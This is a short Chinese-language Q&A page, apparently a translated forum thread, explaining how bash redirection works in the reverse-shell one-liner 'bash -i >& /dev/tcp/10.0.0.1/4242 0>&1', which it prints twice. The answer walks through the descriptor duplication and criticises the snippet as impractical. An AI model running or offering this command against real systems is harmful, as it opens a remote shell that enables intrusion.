为什么会有“0>&1”?

为什么会有“0>&1”?

我仍然想弄清楚这个命令是如何工作的?

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

我在某处发现这0>&1意味着 STDIN 是通过连接发送的,但 STDIN 不应该已经通过该连接发送,因为>&意味着“将所有内容发送到/dev/tcp/HOST/PORT”?

答案1

该命令不起作用。至少对于“工作”的任何非慈善定义来说是这样。

shell 仍将附加到启动它的终端,并且作业控制、诸如Control-CControl-Z在后台运行命令将不起作用。您也无法在后台运行该代码片段本身&

当您可以在 2021 年以普通用户身份在任何 >= 1024 的端口上轻松运行 ssh 服务器时,为什么还要在非加密连接上运行 shell?

我不知道为什么这个片段不断出现(大概是我第 15 次或第 17 次看到它)——也许有人太成功了宣传他的博客;-)

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

>&意思是“将所有内容发送至/dev/tcp/HOST/PORT

不,这不是这个意思。在bash中,它的意思是“打开一个到HOST和PORT的tcp连接,并将dup2(2)连接的套接字连接到文件描述符1(stdout)和2(stderr)。然后0>&1意味着“dup2(2)文件描述符1(stdout)到文件描述符0(stdin)”。

由于重定向是从左到右发生的,因此将bash -i使用连接到 HOST 和 PORT 的套接字作为其 stdin、stdout 和 stderr 来运行。

相关内容